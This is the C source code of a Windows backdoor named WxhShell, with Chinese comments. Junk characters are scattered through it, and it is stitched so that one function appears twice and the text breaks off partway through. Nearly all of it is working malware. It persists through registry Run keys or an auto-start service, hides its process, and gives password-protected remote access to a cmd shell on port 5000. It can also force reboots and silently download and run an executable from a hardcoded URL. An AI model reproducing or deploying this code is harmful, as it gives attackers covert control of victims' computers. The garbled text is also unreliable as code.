} PROCESS_BASIC_INFORMATION pbi; Dm2&}{&K p@ 0Va HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iLD}>= if(NULL == hInst ) return 0; qX>mOW^gT8 ')zdI]@M g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X|++K;rtfE g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8tJB/Pw`S NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0CX2dk"UB^ K 0R<a~ if (!NtQueryInformationProcess) return 0; ?hHVawt {oOzXc6o hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (hr*.NS# if(!hProcess) return 0; Fu].%`*xJ ):-\TVz~ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 06X4mu{ nB>C3e CloseHandle(hProcess); {B+|",O5) _HjS!(lMk hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;W 16Hr Z if(hProcess==NULL) return 0; #l2KJ7AMK CEzwI _ HMODULE hMod; cgY+xd@ char procName[255]; -*HR0:H unsigned long cbNeeded; F/}(FG<'>I WTK )SKa,. if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W!6&T [j> SA!P:Q?h CloseHandle(hProcess); ()%NotN; ?QR13l( if(strstr(procName,"services")) return 1; // 以服务启动 VEFUj&t;xW PaIE=Q4gJ return 0; // 注册表启动 R<]f[ } !X5n'1& |}$ZOwc // 主模块 w8~B@}% int StartWxhshell(LPSTR lpCmdLine) FK
?g { \+3amkBe
SOCKET wsl; d^pzMaCI BOOL val=TRUE; .Aj4?AXWc int port=0; !'#Y-"=ypk struct sockaddr_in door; [ 'aSPA `?P)RS30 if(wscfg.ws_autoins) Install(); pQ2'0u5w5 n;QMiz:yY port=atoi(lpCmdLine); nymro[@O~ N#C,q&; if(port<=0) port=wscfg.ws_port; 'qoDFR\v tg5G`P5PJ WSADATA data; ~IQ3B$4H& if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {XR3L'X 9IfeaoZZ4q if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; so=Ux2 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #z$g1\v door.sin_family = AF_INET; Cg#@JuwHa door.sin_addr.s_addr = inet_addr("127.0.0.1"); T'8d|$X door.sin_port = htons(port); L JW0UF| s[2>r#M if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MbbKo-7F$ closesocket(wsl); JA!?vs return 1; >/J!:Htk+K } S~GL_#a <e)u8+( if(listen(wsl,2) == INVALID_SOCKET) { 7:Cq[u fl closesocket(wsl); Le,e,#hiY return 1;
6Z,GD } ;Gnk8lIsb Wxhshell(wsl); NLnfCY-h WSACleanup(); ^t0Yh%V7 lE|Hp return 0; >n(Ga9E xQU$E|I } $*-UY xZ84q'i" // 以NT服务方式启动 HdR%n VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /U@T#S { #I
x59 DWORD status = 0; w%' 8bH! DWORD specificError = 0xfffffff; HuB\92u }[FP"# serviceStatus.dwServiceType = SERVICE_WIN32; 6v1F.u serviceStatus.dwCurrentState = SERVICE_START_PENDING; QY7Thnp1 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?mq<#/qb serviceStatus.dwWin32ExitCode = 0; d$f3Cre serviceStatus.dwServiceSpecificExitCode = 0; .+#<~Jv serviceStatus.dwCheckPoint = 0; zqJ0pDS serviceStatus.dwWaitHint = 0; +5<]s+4T ,Y+J.8.H hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E!rgR5Bd if (hServiceStatusHandle==0) return; JbR;E`8 XSBh+)0Ww status = GetLastError(); -h%!#g if (status!=NO_ERROR) z\g6E/ %% { yb 4Jsk5% serviceStatus.dwCurrentState = SERVICE_STOPPED; 8
o^ h\9I serviceStatus.dwCheckPoint = 0; | >
t,1T. serviceStatus.dwWaitHint = 0; ]:g;S,{ serviceStatus.dwWin32ExitCode = status; \A%s" O/ serviceStatus.dwServiceSpecificExitCode = specificError; 'O:QS) SetServiceStatus(hServiceStatusHandle, &serviceStatus); W`k||U9 return; 9$Dsm@tX } Z23*`yR VC T~"T2R serviceStatus.dwCurrentState = SERVICE_RUNNING; Bk44 wz2X serviceStatus.dwCheckPoint = 0; (^lw<$N serviceStatus.dwWaitHint = 0; j84g6; 4Dv if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z
Go*N,' } 1&2X*$]y .5AyB9a%& // 处理NT服务事件,比如:启动、停止 X}5}M+'~ VOID WINAPI NTServiceHandler(DWORD fdwControl) LkK# =v { P/?'ea switch(fdwControl) c|hT\1XR, { ) 1PjI9M case SERVICE_CONTROL_STOP: Et0[HotO serviceStatus.dwWin32ExitCode = 0; 4z*An}ol] serviceStatus.dwCurrentState = SERVICE_STOPPED; \ )'`F;
P serviceStatus.dwCheckPoint = 0; #]vs*Sz serviceStatus.dwWaitHint = 0; F Bk_LEcX { ]>_Ie?L)< SetServiceStatus(hServiceStatusHandle, &serviceStatus); v<u`wnt } |,)=-21&; return; lO+6|oF0 case SERVICE_CONTROL_PAUSE: \2U F J serviceStatus.dwCurrentState = SERVICE_PAUSED; _*1{fvv0{ break; I[g;p8jr case SERVICE_CONTROL_CONTINUE: @b]?Gg serviceStatus.dwCurrentState = SERVICE_RUNNING; 9vL n#_ break; z]d2
rzV(_ case SERVICE_CONTROL_INTERROGATE: Kh'7N! break; MpCK/eiC }; /&jh10}H SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~k[mowz0 } 40i]I@:JK D *Hy 2eZ. // 标准应用程序主函数 vCe]iB int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^|kqy<<X { W? SFtz uKF)'gj // 获取操作系统版本 1;FtQnvH OsIsNt=GetOsVer(); jMUN|(=Y GetModuleFileName(NULL,ExeFile,MAX_PATH); d!z}!
: S#[w).7 // 从命令行安装 93]67PL#+ if(strpbrk(lpCmdLine,"iI")) Install(); sk>E(Myo m2esVvP // 下载执行文件 =_)yV0 if(wscfg.ws_downexe) { 7}%Z> if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xC}9W6 WinExec(wscfg.ws_filenam,SW_HIDE); 9o<5Z= } JIH6! ?y`we6~\1 if(!OsIsNt) { m6 V L // 如果时win9x,隐藏进程并且设置为注册表启动 8}_M1w6v HideProc(); MUjfqxTT StartWxhshell(lpCmdLine); uJ@C-/BD!M } 5S/YVRXq else wUJ>?u9 if(StartFromService()) H7Y :l0b // 以服务方式启动 *+rWn*L StartServiceCtrlDispatcher(DispatchTable); i+XHXpk else vDit&Lh{T // 普通方式启动 d(!g9H StartWxhshell(lpCmdLine); q!!gn1PT(T W9M~2<
L return 0; mLb>*xt$b@ } FA7q
pc EH~t< 2, R5mL$ QTLGM-Z =========================================== ww#]i&6 H$44,8,m "xxt_ S|pf.l 7Bs:u (Ee5Af,4 " *i,@d&J y] Wfp>BC #include <stdio.h> TRzL": #include <string.h> $z
\H* #include <windows.h> )8@|+'q #include <winsock2.h> O+ghw1/ #include <winsvc.h> <4%cKW0 #include <urlmon.h> ms/!8X$Mz al@Hr*' #pragma comment (lib, "Ws2_32.lib") 2Sb68hJIE #pragma comment (lib, "urlmon.lib") cD JeYduK `c.P`@KA #define MAX_USER 100 // 最大客户端连接数 ;t\oM7J| #define BUF_SOCK 200 // sock buffer Je &O #define KEY_BUFF 255 // 输入 buffer #C#*yE h*B7UzCg #define REBOOT 0 // 重启 {"WfA #define SHUTDOWN 1 // 关机 !HCuae3_ =tQ^t4_ #define DEF_PORT 5000 // 监听端口 0/TP`3$X#" D4IP$pAD #define REG_LEN 16 // 注册表键长度 1G`zwfmh~ #define SVC_LEN 80 // NT服务名长度 Dhze2q)o Ra)AQ
n // 从dll定义API _/[}PQC6G typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,qu7XFYrY typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z;Yo76P typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L{F[>^1Sb
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E
E^lw61 DNu-Ce% // wxhshell配置信息 HD!2|b~@ struct WSCFG { eo&^~OVT int ws_port; // 监听端口 q. s'z} char ws_passstr[REG_LEN]; // 口令 L&LAh&%{2 int ws_autoins; // 安装标记, 1=yes 0=no dBb
&sA-A char ws_regname[REG_LEN]; // 注册表键名 P0<)E char ws_svcname[REG_LEN]; // 服务名 H{U(Rt]K char ws_svcdisp[SVC_LEN]; // 服务显示名 5[0W+W
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,?oC+9w char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ./i5VBP5 int ws_downexe; // 下载执行标记, 1=yes 0=no `NB6Of*/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q#_<J1)z char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YMr2Dv\y 7w5C
NV }; opv<r*! a?1lj,"~R // default Wxhshell configuration )uRR!<"~ struct WSCFG wscfg={DEF_PORT, Ge^(Ag}vE "xuhuanlingzhe", 34c+70x7 1, .
ytxe!O "Wxhshell", S(#v<C,hd "Wxhshell", ]Il}ymkIZ "WxhShell Service", 8/"R&yAh "Wrsky Windows CmdShell Service", WbJ
"Please Input Your Password: ", JJ4w]Dd4 1, .Ge`)_e "http://www.wrsky.com/wxhshell.exe", )Nt'Z*K* "Wxhshell.exe" 2OZ<t@\OY }; L#MgoBXr 9+"ISXS // 消息定义模块 1TlMB char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E++3GagdiD char *msg_ws_prompt="\n\r? for help\n\r#>"; 8;y\Ln?B char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4L<;z' char *msg_ws_ext="\n\rExit."; }ki6(_ char *msg_ws_end="\n\rQuit."; p|n!R $_g\ char *msg_ws_boot="\n\rReboot..."; q_86nvB< char *msg_ws_poff="\n\rShutdown..."; 3DOc,}nI~@ char *msg_ws_down="\n\rSave to "; o-+H- UFGUP]J> char *msg_ws_err="\n\rErr!"; _jM+;=f char *msg_ws_ok="\n\rOK!"; BT|n+Y[ OMm'm\+/ char ExeFile[MAX_PATH]; &xE+PfX int nUser = 0; :V~
AjV HANDLE handles[MAX_USER]; W(o#2;{ln int OsIsNt; jZR2Nx}16 v9MliD' SERVICE_STATUS serviceStatus; XM~eocn SERVICE_STATUS_HANDLE hServiceStatusHandle; iLk"lcX r1a/'+ // 函数声明 6QePrf int Install(void); >A>_UT_" int Uninstall(void); DbrK,'b% int DownloadFile(char *sURL, SOCKET wsh); N[&(e
d= int Boot(int flag); Cig!3 void HideProc(void); K`8$+JDP+ int GetOsVer(void); ZsN3 MbY int Wxhshell(SOCKET wsl); 6yK"g7 void TalkWithClient(void *cs); >2ny/AK| int CmdShell(SOCKET sock); qDPl( WXb int StartFromService(void); 8V@\$4@b!# int StartWxhshell(LPSTR lpCmdLine); T)mh M9Qx F VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C
j: VOID WINAPI NTServiceHandler( DWORD fdwControl ); %o_CD>yD \OVw // 数据结构和表定义 UQO?hZ!y/. SERVICE_TABLE_ENTRY DispatchTable[] = cv9-ZOxJ { ,lQfsntk' {wscfg.ws_svcname, NTServiceMain}, b|u,[jEB {NULL, NULL} 3Y=uBl }; pykRi#[UrX &Vbcwv@ // 自我安装 mhMRY9 ahB int Install(void) k(dNHT { b X4]/4% char svExeFile[MAX_PATH]; #Ti5G"C HKEY key; w"AO~LF strcpy(svExeFile,ExeFile); E[M.q;rM oB%j3aAH // 如果是win9x系统,修改注册表设为自启动 `g'z6~c7n if(!OsIsNt) { [t"#4[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QA#Jx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SOeRQb' RegCloseKey(key); VV"1I R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Eg0qY\' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FmhN*ZXr# RegCloseKey(key); _SqUPTb"u return 0; !L@^Zgs|@? } CM
8Ub% } m-R`( } vf?m-wh else { q@}tv=} 6]Ri$V&" // 如果是NT以上系统,安装为系统服务 7jYW3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &I?d(Z=:\ if (schSCManager!=0) #RP7?yGM, { Rs53R$PIR SC_HANDLE schService = CreateService y-vQ4G5F| ( S/Gy:GIf schSCManager, 7-[^0qS wscfg.ws_svcname, N>',[4pJ| wscfg.ws_svcdisp, >?ckBU9 SERVICE_ALL_ACCESS, ])mYE
}g SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,dSP%?vV SERVICE_AUTO_START, z+X DN: SERVICE_ERROR_NORMAL, 5db9C}0 svExeFile, Cm[^+.=I NULL,
ui1h M NULL, +t<'{KZ7; NULL, <9aa@c57 NULL, 'L ]k\GO NULL uOQl;}Lk5 ); 3L-}B#tI if (schService!=0) OM#eJ,MH<) { K)TMr"j\ CloseServiceHandle(schService); rPF2IS(5 CloseServiceHandle(schSCManager); XV:icY strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U-lN-/=l6 strcat(svExeFile,wscfg.ws_svcname); yn KgNi if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9vJ'9Z2\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .?;"iv+ RegCloseKey(key); U$AV"F&!&} return 0; "78BApjWT6 } |f<-lB[k } HbQ+:B] CloseServiceHandle(schSCManager); #~:@H&f790 } +BkmI\ } afj[HJbY t^(wbC return 1; ^.(i!BG' } ^y3snuLtE +4m~D`fqt[ // 自我卸载 uz[5h0c int Uninstall(void) mNnt9F3Eq { d9yfSZ HKEY key; ,|Lf6k 7Un5Y[FZo if(!OsIsNt) { _J-3{a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `T~~yM)q RegDeleteValue(key,wscfg.ws_regname); rd!4u14 RegCloseKey(key); h-=lZ~W~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?;?$\b= RegDeleteValue(key,wscfg.ws_regname); aW7)}"j4 RegCloseKey(key); +oR wXO3W return 0; SKrkB~%z } q5u"v } @#KZ2^ } ~91) DNaE else { A]q"+Z] !i*bb~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Uh8c!CA8:\ if (schSCManager!=0)
v{*# { l[Rl:k! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Qlgii_?#@ if (schService!=0) fKjUEMRK { 8sGaq [ if(DeleteService(schService)!=0) { .Pi8c[ CloseServiceHandle(schService); Y> f 6 CloseServiceHandle(schSCManager); L>1i~c&V return 0; @?\[M9yK } mu#
a CloseServiceHandle(schService); "0#d F:qt } *mTx0sQz(J CloseServiceHandle(schSCManager); 13KfI } y0f"UH/ } D4e!A@LJ XlHt(d0h return 1; j`pX2S } o9#8q_D9 fkmN?CU{1% // 从指定url下载文件 ae`6hW2 int DownloadFile(char *sURL, SOCKET wsh) "de3Sbj@? { wtpz ef= HRESULT hr; XlGDv*d:#d char seps[]= "/"; (np60mX< char *token; -"Hy%wE char *file; E+xC1U
3 char myURL[MAX_PATH]; HbXYinG% char myFILE[MAX_PATH]; p&|:,|jo5 ytg' {) strcpy(myURL,sURL); c mI&R( token=strtok(myURL,seps); uF89B-t while(token!=NULL) 236,o
{9e { 8%W(",nd file=token; 1 /dy@' token=strtok(NULL,seps); "ABg,^jf } ^a+H`RD sj& j\<( GetCurrentDirectory(MAX_PATH,myFILE); C`LHFqv strcat(myFILE, "\\"); lZ![?t}2` strcat(myFILE, file); c. ;}e:)s send(wsh,myFILE,strlen(myFILE),0); wz{]CQ 7" send(wsh,"...",3,0); wW?/`>@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IGC:zZ~z if(hr==S_OK) O${B)C, return 0; N,M[Opm else LWp#i8, return 1; 0v/}W( z1R_a=7 } PH]/*LEj 0M_~@E*& // 系统电源模块 ,q|;`?R; int Boot(int flag) Kk?C { ;('(Yn7~ HANDLE hToken; \sZT[42 TOKEN_PRIVILEGES tkp; +M^+qt;]V 3+>;$ if(OsIsNt) { +J<igb!S OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >/5'0n_R LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z;#]xCV tkp.PrivilegeCount = 1; y6C3u5` tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Hk8pKpn3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `C +>PCO if(flag==REBOOT) { O<KOsu1WW if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B{ptP4As- return 0;
VwKo)zH } rMy(NAo_ else { zs<2Ozv if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d=v{3*a_4, return 0; =Mby;wQ?| } ;Or]x?- } q{:]D(
else { nhZ^`mP if(flag==REBOOT) { > q!:* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZP}NFh%,u return 0; "f5 neW } :3aZ_ else { 8,DY0PGP if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9J
$"Qt5;6 return 0; Q6lC :cB< } aHR&6zj4 } 7)Y0D@wg gf\F%VmSN return 1; FT$Z8 } 7i@vj7K Z|
f~
// win9x进程隐藏模块 '1r<g\l void HideProc(void) +IkL=/';# { ) ]
C"r_ io1hUZ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {^jk_G\ys if ( hKernel != NULL ) lI*uF~ 'D { W8>< pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6PyODW;R/5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
P1>?crw FreeLibrary(hKernel); &4R-5i2a } ]QJWqY ![l`@NH[U return; 2C59fXfd } vkgAI< WPpS? // 获取操作系统版本 _ \LPP_ int GetOsVer(void) t 8,VR FV { 4/J"}S OSVERSIONINFO winfo; FIEA'kUy winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OKO+(>AQ GetVersionEx(&winfo); |K,[[D<R if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .s8u?1b return 1; &o]ic(74c? else aSVR+of return 0; ?Tr\r1s] } }VDJ 5xIOi(3`Q // 客户端句柄模块 'Xb?vOU int Wxhshell(SOCKET wsl) N}rc3d# { XKQ\Ts2<k SOCKET wsh; P'<D0 struct sockaddr_in client; 31)eDs DWORD myID; _>=QZ`!r 'U/X<LCl while(nUser<MAX_USER) 'irHpN6n { nKu)j3o` int nSize=sizeof(client); EWNm }C9 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :|PI_
$4H if(wsh==INVALID_SOCKET) return 1; .wvgHi $z[r(a^a handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kX8Ey if(handles[nUser]==0) L+N;mI8 closesocket(wsh); 5`QN<4?% else .jK,6't^ nUser++; %SKJ#b } og)f?4 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U3OXO1 L[aA4` return 0; E~K5n2CI } f C_H0h3 H5X.CcI&} // 关闭 socket r
t\eze_5A void CloseIt(SOCKET wsh) <#>{7" } { %Xjg/5G - closesocket(wsh); Jnl#d0)
- nUser--; `Dp_c&9] ExitThread(0); Zg;%$ kSQ } 3"HX':8x \s^4f# // 客户端请求句柄 jk9/EmV*r void TalkWithClient(void *cs) cOrFe;8-. { GX,)~Syw* v~`'!N8 SOCKET wsh=(SOCKET)cs; Qt(4N!j char pwd[SVC_LEN]; =Eb4Iyz char cmd[KEY_BUFF]; &T&>4I!'M char chr[1]; D9/PVd int i,j; OkfnxknZ| qku}cWD9/_ while (nUser < MAX_USER) { -kkpEw\ L/*K4xQ if(wscfg.ws_passstr) { ^6i,PRScS if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d6vls7J/4 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q=n2frW(T //ZeroMemory(pwd,KEY_BUFF); Lxqv i=0; K1_#Jhz while(i<SVC_LEN) { v FWg0 $, ]!'9Y}9a // 设置超时 7j~}M(s" fd_set FdRead; |Q*OA struct timeval TimeOut; Gq0Q}[53 FD_ZERO(&FdRead); ka?EXF: FD_SET(wsh,&FdRead); K bM1b TimeOut.tv_sec=8; u.9syr TimeOut.tv_usec=0; "*JyNwf int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i=AQ1X\s if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ujan2'YT =QJI_veUG` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /?_5!3K J pwd=chr[0]; bv9nDNPD4 if(chr[0]==0xd || chr[0]==0xa) { JSu+/rI1 pwd=0; z(
^
r break; 8/BWe
;4 } D5$|vv1 i++; 'Fr"96C$ } h;JO"J@H H%G|8,4 // 如果是非法用户,关闭 socket hyVBQhk if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .ovG_O } "?r_A*U \?~cJMN send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n1PV/ Z send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AEE&{_[S }zyh! while(1) { L yNLz
m5 7x//4G ZeroMemory(cmd,KEY_BUFF); $ )orXe| )Nnrsa // 自动支持客户端 telnet标准 xjH({(/B>a j=0; H-/w8_} KG while(j<KEY_BUFF) { [I2vg<my if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YLehY cmd[j]=chr[0]; T))F
r: if(chr[0]==0xa || chr[0]==0xd) { 2P2/]-6s#r cmd[j]=0; "fOxS\er break; 1^AG/w } DM=`hyf(v j++; (Q[(] dfc } b<8,'QgB "pTU&He // 下载文件 ),5|Ves;t[ if(strstr(cmd,"http://")) { _0h)O send(wsh,msg_ws_down,strlen(msg_ws_down),0); L.Tu7+M4 if(DownloadFile(cmd,wsh)) c$b~?Mx send(wsh,msg_ws_err,strlen(msg_ws_err),0); {N'<_%cu else ~fY\; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'j'G4P_G } \kEC|O)8 else { /y[zOT6 ,ePl>m:Z
switch(cmd[0]) { ?5<x$YI M+GtUE~" // 帮助 F42?h:y8I case '?': { QQ\\:]iM send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k<QZ_*x}G break; f?W" ^6Df } 5KC
Zg'h // 安装 l
dw!G/ case 'i': { W,bu=2K6 if(Install()) bT c^huP send(wsh,msg_ws_err,strlen(msg_ws_err),0); MwTouEGGgA else P]<15l send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DT[WO_= break; o|Kd\<rY } bA02)?L // 卸载 O~4Q:#^c case 'r': { *yqke<o9) if(Uninstall()) Wo7`gf_ ( send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Mz6/&` else vEC#W43l send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .Zm de*b break; *^i"q\n5( } 1HBWOV7z.? // 显示 wxhshell 所在路径 bEB9J-
Q case 'p': { W-<`Vo' char svExeFile[MAX_PATH]; 8Az|SJ< strcpy(svExeFile,"\n\r"); {Y1&GO; strcat(svExeFile,ExeFile); I]6,hygs send(wsh,svExeFile,strlen(svExeFile),0); $ 9
k5a break; 3"LT '' } "w{$d&+?ag // 重启 _WN\9< case 'b': { 0;tu}]jnN send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >Y=qSg>Ik if(Boot(REBOOT)) $/"QYSF send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eu2(#z 6eW else { GxS!Lk closesocket(wsh); jQ3&4>g j ExitThread(0); BDT"wy8 } K:b^@>XH break; #+(@i|!ifo } i0'g$ // 关机 F!zGk(Pu case 'd': { =k##*% send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {Lugdf' if(Boot(SHUTDOWN)) ?eDZ-u9) send(wsh,msg_ws_err,strlen(msg_ws_err),0); &EJ/Rl else { z C7 b closesocket(wsh); 7}puj%JS
/ ExitThread(0); tu6<> } <6.?:Jj break; 4P}d/w?'KL } y/;DA= // 获取shell 3*#$:waGd case 's': { "1%\Fi l CmdShell(wsh); p
Cgm!t?/ closesocket(wsh); 0y3C
/>a ExitThread(0); g5lK&-yu] break; 2)9XTY6$ } GC7W7B // 退出 yi*EE% case 'x': { hCob^o send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Qq3>Xv < CloseIt(wsh); fU|4^p) break; 9 e;8"rJ?C } fE1VTGfd: // 离开 (o4':/es case 'q': { t@!A1Vr@ send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2Ws'3Jz closesocket(wsh); IAMtMO^L WSACleanup(); H^<?h6T exit(1);
Y}e3:\ break; dpcU`$kt } C=(~[ Y } ";TqYk=- } k,LaFe`W ? kCo/sW // 提示信息 TecWv@. if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
t|C?=:_ } 5I[6 "o0 } NL &![; TGuCIc0B{ return; t(1gJZs>kX } $ZlzS`XF7 th}&|Y)T2 // shell模块句柄 8=u88?Bh int CmdShell(SOCKET sock) y=zs6HaS { y\Wp}} STARTUPINFO si; <`Qbb=* ZeroMemory(&si,sizeof(si)); aB{OXU}# si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3j2d&*0 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ls'8 PROCESS_INFORMATION ProcessInfo; R'qBG(?i char cmdline[]="cmd"; s){R/2O3F CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q+ka}@ return 0; )kIjZ } 3`Dyrj#! {7.uwIW.1 // 自身启动模式 c=aVYQ"2 int StartFromService(void) HpS1(%d" { ,15$$3z /E typedef struct zS'{F>w { ! q+>'Mt DWORD ExitStatus; ;iz3Bf1o DWORD PebBaseAddress; zC`ediyu DWORD AffinityMask; e#@u&+K/f DWORD BasePriority; f{U,kCv ULONG UniqueProcessId; ?f*>=;7= ULONG InheritedFromUniqueProcessId; j-v/;7s/B } PROCESS_BASIC_INFORMATION; Sg1,9[pb ;}'Z2gZB PROCNTQSIP NtQueryInformationProcess; Q}uh`?t wsgT`M'J[ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Yu:($//w static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \~.elKw<U n<Ki.;-ZE HANDLE hProcess; rB_ESNx PROCESS_BASIC_INFORMATION pbi; Mo\nY5 ([]\7}+8 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vH@$?b3VP if(NULL == hInst ) return 0; 5uU{!JuSa %>t4ib_8 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jV' tcFr4 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0OBwe6* NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RQ,X0pS W=4|ahk$ if (!NtQueryInformationProcess) return 0; Lbu,VX Vk%W4P"l hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j#${L6 if(!hProcess) return 0; &Qt1~#1 Tj=@5lj0 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PMe 3Or@ =cxG4R1x CloseHandle(hProcess); lr$,=P` )6
